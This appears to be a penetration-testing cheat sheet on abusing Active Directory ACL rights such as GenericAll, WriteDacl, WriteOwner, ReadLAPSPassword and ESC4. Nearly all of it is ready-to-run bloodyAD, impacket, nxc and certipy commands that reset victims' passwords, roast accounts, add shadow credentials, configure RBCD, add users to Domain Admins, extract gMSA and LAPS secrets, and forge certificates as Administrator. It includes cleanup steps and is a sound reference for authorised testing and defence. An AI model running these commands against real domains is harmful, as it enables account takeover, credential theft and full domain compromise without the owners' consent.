ACL Abuse

Sections ACL Abuse

When BloodHound shows you write access on an object, this file is the recipe book. bloodyAD covers most of these in one command per edge.

DC=10.10.11.50
DOMAIN=corp.local
USER='svc_user'
PASS='Password1'
Find your edges fast

Before reading this file, run bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC get writable --bh and load the result into BloodHound. It shows you every object you can touch and the exact rights you have.

i. GenericAll / GenericWrite - pick your weapon

These two grant the most flexibility. Several attack paths from each, pick the one that fits the target.

Target is a USER with GenericAll/GenericWrite

a) Force password reset (you don’t even need to know the old password):

bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC set password victim 'Pwned123!'
nxc smb $DC -u victim -p 'Pwned123!'

Loud (changes user’s actual password, victim notices), but instant takeover.

b) Targeted Kerberoast (no password reset needed):

## Set fake SPN
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC set object victim servicePrincipalName -v 'fake/svc'
## Roast it
impacket-GetUserSPNs -request -request-user victim -dc-ip $DC "$DOMAIN/$USER:$PASS" -outputfile roast.txt
## Remove the SPN
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC set object victim servicePrincipalName
## Crack with hashcat -m 13100, see [Kerberoasting](https://jinpwn.dev/cheatsheets/active-directory/ad03-kerberoasting/)

Stealthier - victim password unchanged.

c) Targeted ASREP-Roast (flip DONT_REQ_PREAUTH, roast, flip back):

bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC add uac victim -f DONT_REQ_PREAUTH
impacket-GetNPUsers -dc-ip $DC -no-pass -usersfile <(echo victim) -format hashcat -outputfile asrep.txt
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC remove uac victim -f DONT_REQ_PREAUTH
## Crack with hashcat -m 18200

d) Shadow Credentials (best of all - no password change, no roast, instant auth):

bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC add shadowCredentials victim
## Output: TGT.ccache (or .pfx if PKINIT fails)
export KRB5CCNAME=victim.ccache
## or with the pfx:
certipy auth -pfx victim.pfx -dc-ip $DC
## NT hash and TGT returned

DC must be Server 2016+ and AD CS must be enabled in the domain. To remove:

bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC remove shadowCredentials victim

Target is a COMPUTER with GenericAll/GenericWrite

Same options as user, plus RBCD (much more powerful for computer objects):

## Create a computer account you control (default ms-DS-MachineAccountQuota=10)
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC add computer attackerpc 'AttackerP@ss'
## Add RBCD: attackerpc can impersonate any user TO victim
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC add rbcd 'victim$' 'attackerpc$'
## Now request a service ticket as Administrator for victim:
impacket-getST -spn 'cifs/victim.corp.local' -impersonate Administrator \
  "$DOMAIN/attackerpc\$:AttackerP@ss" -dc-ip $DC
## Use the ticket:
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass victim.corp.local

Full RBCD treatment in Delegation .

Target is a GROUP with GenericAll/GenericWrite

Add yourself (or a controlled account) to the group:

bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC add groupMember 'Domain Admins' $USER
## Or add a user you control:
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC add groupMember 'Domain Admins' attacker
## Verify:
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC get object 'Domain Admins' --attr member
## Remove cleanly later:
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC remove groupMember 'Domain Admins' attacker
Group membership token cache

A user’s group membership is in their Kerberos ticket. Add them to a privileged group, they need a NEW TGT before privileges apply. Logout/login on a Windows host, or destroy and re-request the TGT on Linux:

kdestroy
impacket-getTGT $DOMAIN/$USER:$PASS -dc-ip $DC

ii. WriteOwner

You can take ownership of the target. Then once you own it, you have implicit WriteDacl, which lets you grant yourself GenericAll, which chains to section i.

## Take ownership
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC set owner victim $USER
## Grant yourself GenericAll
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC add genericAll victim $USER
## Now use any technique from section i
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC set password victim 'Pwned123!'
WRITE_OWNER limitation

With only WRITE_OWNER right (and no SeRestorePrivilege), you can only set yourself as the new owner. You can’t transfer ownership to someone else. bloodyAD enforces this automatically.

iii. WriteDacl

You can modify the object’s ACL. Grant yourself GenericAll directly, no ownership change needed:

bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC add genericAll victim $USER
## Now you have full control, use any technique from section i

iv. ForceChangePassword (User-Force-Change-Password extended right)

A narrower version of GenericAll - only password reset, no other attribute writes:

bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC set password victim 'Pwned123!'

Same outcome as section i(a) but more limited surface. Use when GenericAll isn’t available.

v. AddMember (Self / Add-Member extended right)

You can add ONLY yourself to a group, not arbitrary members:

bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC add groupMember 'TargetGroup' $USER

bloodyAD’s add groupMember works with either AddMember or GenericAll on the group, transparently.

vi. ReadGMSAPassword

You can read the gMSA’s password blob. Decode it to get the NT hash, then PtH:

bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC get object 'gmsaaccount$' --attr msDS-ManagedPassword
## Or use nxc's purpose-built module:
nxc ldap $DC -u $USER -p $PASS --gmsa

--gmsa automatically decodes the password blob and outputs the NTLM hash. Use the hash directly:

nxc smb $DC -u 'gmsaaccount$' -H $NTHASH

vii. ReadLAPSPassword

Local Administrator password for a specific computer. Two attribute names depending on LAPS version:

Legacy LAPS:

bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC get object 'COMPUTER$' --attr ms-Mcs-AdmPwd

LAPS v2 (Windows LAPS, 2023+):

bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC get object 'COMPUTER$' --attr msLAPS-Password
## When encrypted (default in v2), use nxc:
nxc ldap $DC -u $USER -p $PASS --laps

--laps handles decryption when possible.

viii. AllowedToAct (msDS-AllowedToActOnBehalfOfOtherIdentity)

When you can write this attribute on a target computer, you’ve configured Resource-Based Constrained Delegation. See Delegation for full RBCD chain. Quick form:

bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC add rbcd 'targetcomputer$' 'attackerpc$'

ix. AllExtendedRights / All Extended

Includes ForceChangePassword + ReadLAPSPassword + ReadGMSAPassword + several others depending on object type. Treat as a superset of those individual rights, use whichever applies.

x. WriteSPN (write to servicePrincipalName)

Same as targeted Kerberoast from section i(b). The fact that you can write servicePrincipalName is what enables the attack.

xi. WriteAccountRestrictions (write to userAccountControl)

Same as targeted ASREP-Roast from section i(c). Flip DONT_REQ_PREAUTH.

xii. ESC4: WriteDacl on a certificate template

Modify the template to be ESC1-vulnerable (set ENROLLEE_SUPPLIES_SUBJECT, enable client auth EKU, grant yourself enroll right), then exploit as ESC1. Cleanest with certipy:

## Backup the original template config first:
certipy template -u $USER@$DOMAIN -p $PASS -dc-ip $DC -template VulnTemplate -save-old
## Make it ESC1-vulnerable (overwrites template):
certipy template -u $USER@$DOMAIN -p $PASS -dc-ip $DC -template VulnTemplate -write-default-configuration
## Enroll as Administrator:
certipy req -u $USER@$DOMAIN -p $PASS -dc-ip $DC -target ca.$DOMAIN -ca 'CORP-CA' -template VulnTemplate -upn Administrator@$DOMAIN
## Restore the template:
certipy template -u $USER@$DOMAIN -p $PASS -dc-ip $DC -template VulnTemplate -configuration old.json

Full ADCS workflow in ADCS ESC1-16 .

xiii. Owns edge (Owner of object)

BloodHound’s Owns edge means you are the security descriptor owner. Implicit WriteDacl. Same path as section iii.

bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC add genericAll victim $USER

xiv. Indirect paths: chain through groups

If a group has GenericAll on your target, and you have AddMember (or GenericAll) on that group, chain:

## Step 1: Add yourself to the privileged group
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC add groupMember 'IT_Helpdesk' $USER
## Step 2: Re-request your TGT to load new group membership
kdestroy && impacket-getTGT $DOMAIN/$USER:$PASS -dc-ip $DC
## Step 3: Now you inherit IT_Helpdesk's rights, abuse target
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC set password victim 'Pwn3d!'

BloodHound shows these chains automatically with the Shortest Path query.

xv. Cleanup checklist

Every modification should be reversible. Track each change:

## Track changes for cleanup
echo "Added genericAll on victim to $USER at $(date)" >> /tmp/ad-changes.log

## Reverse the common ones:
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC remove genericAll victim $USER
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC remove groupMember 'Domain Admins' attacker
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC remove shadowCredentials victim
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC remove rbcd 'victim$' 'attackerpc$'
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC remove object 'attackerpc$'
bloodyAD -d $DOMAIN -u $USER -p $PASS --host $DC remove uac victim -f DONT_REQ_PREAUTH
Password changes can’t be reversed

Once you reset a user’s password, you can’t restore the old one (you don’t have it). Document the user, time, and impact. On real engagements, password resets often require client notification.

xvi. Quick reference

EdgebloodyAD commandWhat you get
GenericAll on userset password TARGET NEWPASStakeover (loud)
GenericAll on useradd shadowCredentials TARGETNT hash + TGT (quiet)
GenericAll on userset object T servicePrincipalName -v fake/x + roastNT hash via crack
GenericAll on computeradd rbcd T attackerpc$ + getSTSYSTEM on target
GenericAll on groupadd groupMember GROUP USERgroup inheritance
WriteOwnerset owner T USER then add genericAllchain to GenericAll
WriteDacladd genericAll T USERchain to GenericAll
ForceChangePasswordset password T NEWtakeover
AddMemberadd groupMember GROUP USERgroup inheritance
ReadGMSAPasswordget object T --attr msDS-ManagedPassword or nxc --gmsaNT hash
ReadLAPSPasswordget object T --attr msLAPS-Password or nxc --lapslocal admin password
WriteSPNset object T servicePrincipalName -v fake/x + roastNT hash
AllowedToActadd rbcd T attackerpc$RBCD chain
Ownsadd genericAll T USER (implicit WriteDacl)chain to GenericAll
ESC4 (template WriteDacl)certipy template ... -write-default-configurationcert as any user